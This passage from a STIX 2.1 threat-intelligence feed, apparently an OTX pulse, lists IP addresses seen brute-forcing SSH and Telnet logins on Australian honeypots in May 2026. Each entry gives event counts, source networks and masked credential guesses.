      "modified": "2026-05-24T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.182.183.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T10:15:11.000Z",
      "valid_until": "2026-06-25T10:15:08.000Z"
    },
    {
      "created": "2026-05-24T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--a189448d-861e-44fd-bff5-e1e183b385e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '155.117.5.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T10:15:11.000Z",
      "valid_until": "2026-06-25T10:15:08.000Z"
    },
    {
      "created": "2026-05-24T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 8473. Organisation(s): Bahnhof AB. Usernames observed (masked): f****e, r**t, 3**********4, d*****r, g***l. Passwords observed (masked): *, 1****6, 3***********4, 3**********4, P**********4.",
      "id": "indicator--f613f802-4cd3-4bf9-82b5-b7df616963b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '155.4.244.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T10:15:11.000Z",
      "valid_until": "2026-06-25T10:15:08.000Z"
    },
    {
      "created": "2026-05-24T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): **. Passwords observed (masked): ***.",
      "id": "indicator--63ee9bee-ccff-4455-9084-b986b0214934",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.35.65.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T10:15:11.000Z",
      "valid_until": "2026-06-25T10:15:08.000Z"
    },
    {
      "created": "2026-05-24T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 205196. Organisation(s): Big Core LLC. Usernames observed (masked): r**t, a***n, u**r. Passwords observed (masked): , 1****6, a***n, u**r.",
      "id": "indicator--c2d9ef4d-8c97-47a2-8675-56390802bc8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.226.93.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T10:15:11.000Z",
      "valid_until": "2026-06-25T10:15:08.000Z"
    },
    {
      "created": "2026-05-24T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 22047. Organisation(s): VTR BANDA ANCHA S.A..",
      "id": "indicator--61c281b4-4ea7-4b3d-ad7b-45baa9d342a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.45.73.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T10:15:11.000Z",
      "valid_until": "2026-06-25T10:15:08.000Z"
    },
    {
      "created": "2026-05-24T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology. Usernames observed (masked): s******s. Passwords observed (masked): z*******r.",
      "id": "indicator--11a04ee4-6cfd-48d1-8125-d327a84ecc94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T10:15:11.000Z",
      "valid_until": "2026-06-25T10:15:08.000Z"
    },
    {
      "created": "2026-05-24T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, a*******r, 3**********4, o***a, s***a. Passwords observed (masked): 1********., 1******r, 3***********4, 3**********4, *@ssword..",
      "id": "indicator--4660635a-943b-4769-98b0-cdec7db6009a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.224.62.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T10:15:11.000Z",
      "valid_until": "2026-06-25T10:15:08.000Z"
    },
    {
      "created": "2026-05-24T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--f96a4e81-2e42-4328-844a-d81d8c690b7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.249.178.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T10:15:11.000Z",
      "valid_until": "2026-06-25T10:15:08.000Z"
    },
    {
      "created": "2026-05-24T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BF. ASN(s): 37577. Organisation(s): Orange.",
      "id": "indicator--11434f71-b670-4896-87c9-eecb65e51964",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.180.113.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T11:15:05.000Z",
      "valid_until": "2026-06-25T11:15:03.000Z"
    },
    {
      "created": "2026-05-24T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): t****r, 3**********4, b****x, p**a, t***t. Passwords observed (masked): 3***********4, 3**********4, P******d, p*****3, t****r.",
      "id": "indicator--075bffe4-8a3d-4061-818a-76628e1eaf56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.112.173.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T11:15:05.000Z",
      "valid_until": "2026-06-25T11:15:03.000Z"
    },
    {
      "created": "2026-05-24T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): h**p. Passwords observed (masked): h******5.",
      "id": "indicator--3606f438-a579-4d80-872b-72ee4231d0b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.143.231.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T11:15:05.000Z",
      "valid_until": "2026-06-25T11:15:03.000Z"
    },
    {
      "created": "2026-05-24T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 38700. Organisation(s): SMILESERV. Usernames observed (masked): s******r, 3**********4, a***n, m**p, p****c. Passwords observed (masked): 3***********4, 3**********4, A********4, m**p, q******7.",
      "id": "indicator--badb058b-6605-418a-a1eb-1484d237bf88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.68.208.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T11:15:05.000Z",
      "valid_until": "2026-06-25T11:15:03.000Z"
    },
    {
      "created": "2026-05-24T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, a***n, a****r. Passwords observed (masked): 1**4, 1******2, 3***********4, 3**********4, 5***1.",
      "id": "indicator--418ded4e-e380-47b4-83ba-5d3a66b38d22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.58.209.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T11:15:05.000Z",
      "valid_until": "2026-06-25T11:15:03.000Z"
    },
    {
      "created": "2026-05-24T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LK. ASN(s): 9329. Organisation(s): Sri Lanka Telecom Internet. Usernames observed (masked): r**t. Passwords observed (masked): Z******5, q*************#, q**********v.",
      "id": "indicator--3c2dab44-b69d-4536-87e3-061928be738c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.43.4.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T11:15:05.000Z",
      "valid_until": "2026-06-25T11:15:03.000Z"
    },
    {
      "created": "2026-05-24T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: SY. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--d823c9be-be3f-4ac0-8e47-f12bd5d233a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.222.210.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T11:15:05.000Z",
      "valid_until": "2026-06-25T11:15:03.000Z"
    },
    {
      "created": "2026-05-24T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--ec0fac27-f393-4fbe-9a50-54bf6ca6fed1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.1.105.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T11:15:05.000Z",
      "valid_until": "2026-06-25T11:15:03.000Z"
    },
    {
      "created": "2026-05-24T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A********3, M*****5, T******6.",
      "id": "indicator--fe9f9cb9-0c71-4c43-8197-1486f37b03e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.129.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T11:15:05.000Z",
      "valid_until": "2026-06-25T11:15:03.000Z"
    },
    {
      "created": "2026-05-24T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): r**t. Passwords observed (masked): q******q.",
      "id": "indicator--b11ab95b-3f51-4585-987a-ad1f9467fe47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.236.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T11:15:05.000Z",
      "valid_until": "2026-06-25T11:15:03.000Z"
    },
    {
      "created": "2026-05-24T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 53006. Organisation(s): ALGAR TELECOM SA.",
      "id": "indicator--ef80c82a-a27b-4604-a096-bf1e1a78ba22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.210.240.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T11:15:05.000Z",
      "valid_until": "2026-06-25T11:15:03.000Z"
    },
    {
      "created": "2026-05-24T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 12400. Organisation(s): Partner Communications Ltd..",
      "id": "indicator--fc0f4a17-9f78-4702-9014-1f82defb6a68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.116.164.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T11:15:05.000Z",
      "valid_until": "2026-06-25T11:15:03.000Z"
    },
    {
      "created": "2026-05-24T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, h****n, **, o****e. Passwords observed (masked): !**********e, 1*******@, 3***********4, 3**********4, A********5.",
      "id": "indicator--32db9e13-e871-451b-9a67-9b2c3228aa16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.107.254.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T11:15:05.000Z",
      "valid_until": "2026-06-25T11:15:03.000Z"
    },
    {
      "created": "2026-05-24T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 35819. Organisation(s): Etihad Etisalat, a joint stock company.",
      "id": "indicator--b7f78a36-3412-4b6b-960c-68b083453954",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.153.219.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T11:15:05.000Z",
      "valid_until": "2026-06-25T11:15:03.000Z"
    },
    {
      "created": "2026-05-24T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 60404. Organisation(s): The Infrastructure Group B.V.. Usernames observed (masked): r**t, d***o, 3**********4, s****r. Passwords observed (masked): .****., 3***********4, 3**********4, A*****5, P*******!.",
      "id": "indicator--365f9692-8257-46bc-af97-373ae1707627",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.255.126.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T11:15:05.000Z",
      "valid_until": "2026-06-25T11:15:03.000Z"
    },
    {
      "created": "2026-05-24T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 213495. Organisation(s): Servitro Ltd. Usernames observed (masked): r**t, 3**********4, ***, ***, m***e. Passwords observed (masked): 1****6, 1********@, 3***********4, 3**********4, C******6.",
      "id": "indicator--bb3ecfb6-faf9-47db-a7d2-919d3382052a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.90.40.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T11:15:05.000Z",
      "valid_until": "2026-06-25T11:15:03.000Z"
    },
    {
      "created": "2026-05-24T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--ab7da73e-d8fc-4172-945e-96d8f64ec73f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.197.9.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T12:15:11.000Z",
      "valid_until": "2026-06-25T12:15:08.000Z"
    },
    {
      "created": "2026-05-24T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--38f4621b-0b20-42ab-b306-6332a7fdf278",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '142.93.251.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T12:15:11.000Z",
      "valid_until": "2026-06-25T12:15:08.000Z"
    },
    {
      "created": "2026-05-24T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 31363. Organisation(s): JSC ER-Telecom Holding.",
      "id": "indicator--5cec3a01-d85d-4282-ba02-4ffb9ccad251",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.251.140.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T12:15:11.000Z",
      "valid_until": "2026-06-25T12:15:08.000Z"
    },
    {
      "created": "2026-05-24T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): **. Passwords observed (masked): **.",
      "id": "indicator--f3ac54ea-2678-46d6-8c72-05d7971ce44d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.107.254.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T12:15:11.000Z",
      "valid_until": "2026-06-25T12:15:08.000Z"
    },
    {
      "created": "2026-05-24T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: GE. ASN(s): 35805. Organisation(s): JSC Silknet.",
      "id": "indicator--997c8cbe-7c96-48bf-ae82-932697246306",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.146.114.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T12:15:11.000Z",
      "valid_until": "2026-06-25T12:15:08.000Z"
    },
    {
      "created": "2026-05-24T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 70. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): 1****e, 1*******y, **, ***, 4**1.",
      "id": "indicator--430b2cc3-eb80-4748-add7-2ab0f041f3f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.254.30.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T12:15:11.000Z",
      "valid_until": "2026-06-25T12:15:08.000Z"
    },
    {
      "created": "2026-05-24T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--04274522-5976-4e2f-b515-50abad22e929",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.82.77.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T12:15:11.000Z",
      "valid_until": "2026-06-25T12:15:08.000Z"
    },
    {
      "created": "2026-05-24T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138115. Organisation(s): PT Deneva. Usernames observed (masked): d****n, ***, t***1, u**r. Passwords observed (masked): 0****0, 1**4, ***, t***1.",
      "id": "indicator--55aa5ccb-f9c1-45fb-9007-9816ac50f74c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.191.63.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T13:15:11.000Z",
      "valid_until": "2026-06-25T13:15:08.000Z"
    },
    {
      "created": "2026-05-24T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b69a6ecb-69e1-4516-b423-fb2cd0109e58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.52.54.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T13:15:11.000Z",
      "valid_until": "2026-06-25T13:15:08.000Z"
    },
    {
      "created": "2026-05-24T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--b2d62873-5d56-4585-99a2-db911ae3b2dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.147.22.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T13:15:11.000Z",
      "valid_until": "2026-06-25T13:15:08.000Z"
    },
    {
      "created": "2026-05-24T13:15:11.000Z",
